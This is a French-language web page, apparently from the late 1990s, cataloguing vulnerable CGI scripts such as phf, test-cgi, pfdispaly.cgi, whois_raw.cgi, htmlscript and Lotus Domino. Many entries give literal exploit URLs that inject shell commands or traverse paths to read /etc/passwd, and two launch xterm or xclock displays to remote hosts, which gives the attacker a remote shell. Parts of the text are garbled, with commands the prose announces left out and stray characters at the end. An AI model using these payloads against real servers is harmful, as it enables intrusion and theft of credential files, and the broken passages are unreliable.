CGI Security
Le CGI est encore tres populaire sur les serveurs www malgre l'apparition de suites logicielles plus completes sur les serveurs. Pendant que l'ASP et le PHP se font concurrence, le CGI continue a faire son bonhomme de chemin. A l'heure qu'il est, grand nombre de scripts CGI contiennent toujours des vulnerabilites. Certains de ceux qui sont presentes ici ont ete corriges et ne sont plus vulnerables,
toutefois il y a encore de nombreux sites qui les utilisent encore. La liste ici presente est loin d'etre exhaustive et des mises a jour sont a prevoir. Table des matieres
Test cgi's/cgi-bin/test-cgi?\whatever/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd /cgi-bin/test-cgi?/* /cgi-bin/test-cgi?* HTTP/1.0 /cgi-bin/test-cgi?x * /cgi-bin/nph-test-cgi?* HTTP/1.0 /cgi-bin/nph-test-cgi?x * /cgi-bin/test-cgi?x HTTP/1.0 * HotMail
Les scripts CGI qui sont utilises par (Hot)mail ont un trou de securite qui permet
a des personnes non autorisees de rentrer dans le compte email d'utilisateurs et de lire
leurs mails. Le probleme affecte des versions de Hotmail qui ont ete mise en place en Decembre 1998.
La ligne de commande suivante revele l'URL qui peut etre utilisee pour acceder au compte email de l'utilisateur "billg" (billg@hotmail.com)
Le resultat de cette commande est de donner (si et seulement si il est actuellement loggue)
l'URL qui permet d'acceder au compte de billg.
Le resultat devrait ressembler a quelque chose comme cela: TextCounter versions 1.0-1.2 (Perl) et 1.0-1.3 (C++) par Matt Wright (Juin 1998)
Les recentes versions du programme TextCounter (utilise pour donner le nombre de
visiteurs d'une page) ne supprime pas les metacaracteres introduits par l'utilisateur.
Ce qui a pour resultat de permettre a des utilisateurs distants d'executer des commandes
shell sur le serveur. Ceci affecte a la fois les versions Perl et C++.
Voici les deux lignes responsables du probleme: Divers scripts guestbook (Juin 1998)Le Bug apparait pour les utilisateurs qui:
Comme vous pouvez le voir il y a beaucoup de "si" et donc tres peu d'utilisateur sont touches. Excite Web Search Engine (EWS) version (November 1998)
Le moteur de recherche Excite enregistre des informations critiques (incluant les mots de passe encryptes d'administrateurs) dans des fichiers qui sont accessibles au niveau utilisateur. Ceci permet a des utilisateur sans privileges d'avoir acces a la partie administration de EWS a partir d'UNIX et de NT. Info2www, versions 1.0-1.1
info2www, qui convertit les fichiers GNU "info" en pages web, ne verifie pas les nom de
fichiers fournis par l'utilisateur avant de les ouvrir. Count.cgi, versions 1.0-2.3
Count.cgi est un compteur de visites, et il contient un gug (stack overflow) qui permet a un utilisateur distant d'executer des commandes UNIX sur le serveur. Webdist.cgi IRIX 6.2, 6.3
Ce script fait partie d'un systeme qui permet aux utilisateurs d'installer et de distribuer des logiciels a travers le reseau. A cause d'une mauvaise verification des parametres CGI, des utilisateurs distants peuvent executer des commandes sur le serveur avec les permissions du daemon. Php.cgi, multiple versions
Le script CGI php.cgi, ne devrait jamais etre installe dans le repertoire cgi-bin. Ceci permet a quiconque d'executer des commande shell sur la machine serveur.
PHP fournit aussi les fichier d'exemples mlog et mylog qui contient un trou de securite permettant de visualiser n'importe quel fichier sur le serveur: Files.pl, Novell WebServer Examples Toolkit v.2
Du fait d'une mauvaise verification des donnees entrantes de l'utilisateur, le fichier files.pl, fournit avec l'installation de Novell WebServer permet aux utilisateurs de voir n'importe quel fichier ou repertoire du systeme, ce qui a bien sur pour resultat de compromettre la confidentialite des documents, et potentiellement de donner au crackers les informations necessaires pour pouvoir penetrer le systeme (niark niark niark...) Nph-test-cgi, toutes versions
Ce script inclut dans de nombreuses versions de NCSA httpd et des daemons apache peut etre exploite par un utilisateur distant pour obtenir un listing des fichiers et repertoires presents sur le serveur. AnyForm, version 1.0Un utilisateur distant peut executer des commandes sur le serveur.http://www.uky.edu/~johnr/AnyForm2 FormMail, version 1.0Un utilisateur distant peut executer des commandes sur le serveur.http://alpha.pr1.k12.co.us/~mattw/scripts.html PhfUn utilisateur distant peut executer des commandes sur le serveur.Exploit: /cgi-bin/phf?Q=x%0apwd /cgi-bin/phf?Q=x%ffpwd /cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd /cgi-bin/phf?%0a blablabla &Qalias=&Qname=&Qemail=&Qnickname=&Qoffice_phone= ... usw /cgi-bin/phf?Qname=%0acat%20/etc/passwd Plus d'infos: http://members.tripod.com/~yopyop/exploits/phf.htm http://hoohoo.ncsa.uiuc.edu/ Omnihttpdhttp://omni.server/cgi-bin/visadmin.exe?user=guestPfdispaly.cgiUn utilisateur distant peut executer des commandes sur le serveur avec les permissions du serveur web.Exploit: /cgi-bin/pfdispaly.cgi?'%0A/bin/uname%20-a|' /cgi-bin/pfdispaly.cgi?/../../../../etc/motd /cgi-bin/pfdispaly.cgi?'%0A/usr/bin/X11/xclock%20-display%20evil:0.0|' Faxsurvey
Un utilisateur distant peut executer des commandes sur le serveur avec les permissions du serveur web.
Toutes les versions S.u.S.E. 5.1 et 5.2 Linux Dist avec le package HylaFAX installe sont vulnerables. Whois_raw.cgi cdomain v1.0.Exploit:/cgi-bin/whois_raw.cgi?fqdn=%0A/usr/X11R6/bin/xterm%20-display%20graziella.lame.org:0 /cgi-bin/whois_raw.cgi?fqdn=%0acat%20/etc/passwd Test.bat et perl.exe sur Netscape Serveur
Il est aussi recommande de ne pas mettre PERL.EXE dans le repertoire CGI-BIN car ceci
permet d'executer des commandes PERL directement sur le serveur. Htmlscript (www.htmlscript.com)Possibilite d'acces a n'importe quel fichier sur le serveur.Exploit: /cgi-bin/htmlscript?../../../../etc/passwd lotus domino serverPossibilite d'ecrire et de changer la configuration du serveur!!!!!!Exploit: http ... /domcfg.nsf/?open htto ... /domcfg.nsf/URLRedirect/?OpenForm http:... /database.nsf/viewname?SearchView&Query="*" Pour plus d'infos: http://www.insecure.org/sploits/lotus.domino.database.html wguest.exe
David Litchfield alias Mnemonic a decouvert un bug dans wguest.exe qui permet a un utilisateur distant de voir n'importe quel fichier texte du systeme. Wguest.exe est un script CGI concu par Webcom Datakommunikation, qui permet aux utilisateurs de signer un guestbook. Le nombre de serveurs affectes est assez important.
Template.htm est la page qui sera affichee grace a wguest.exe apres que l'utilisateur ait entre ses informations.
¥õÞÝóþ |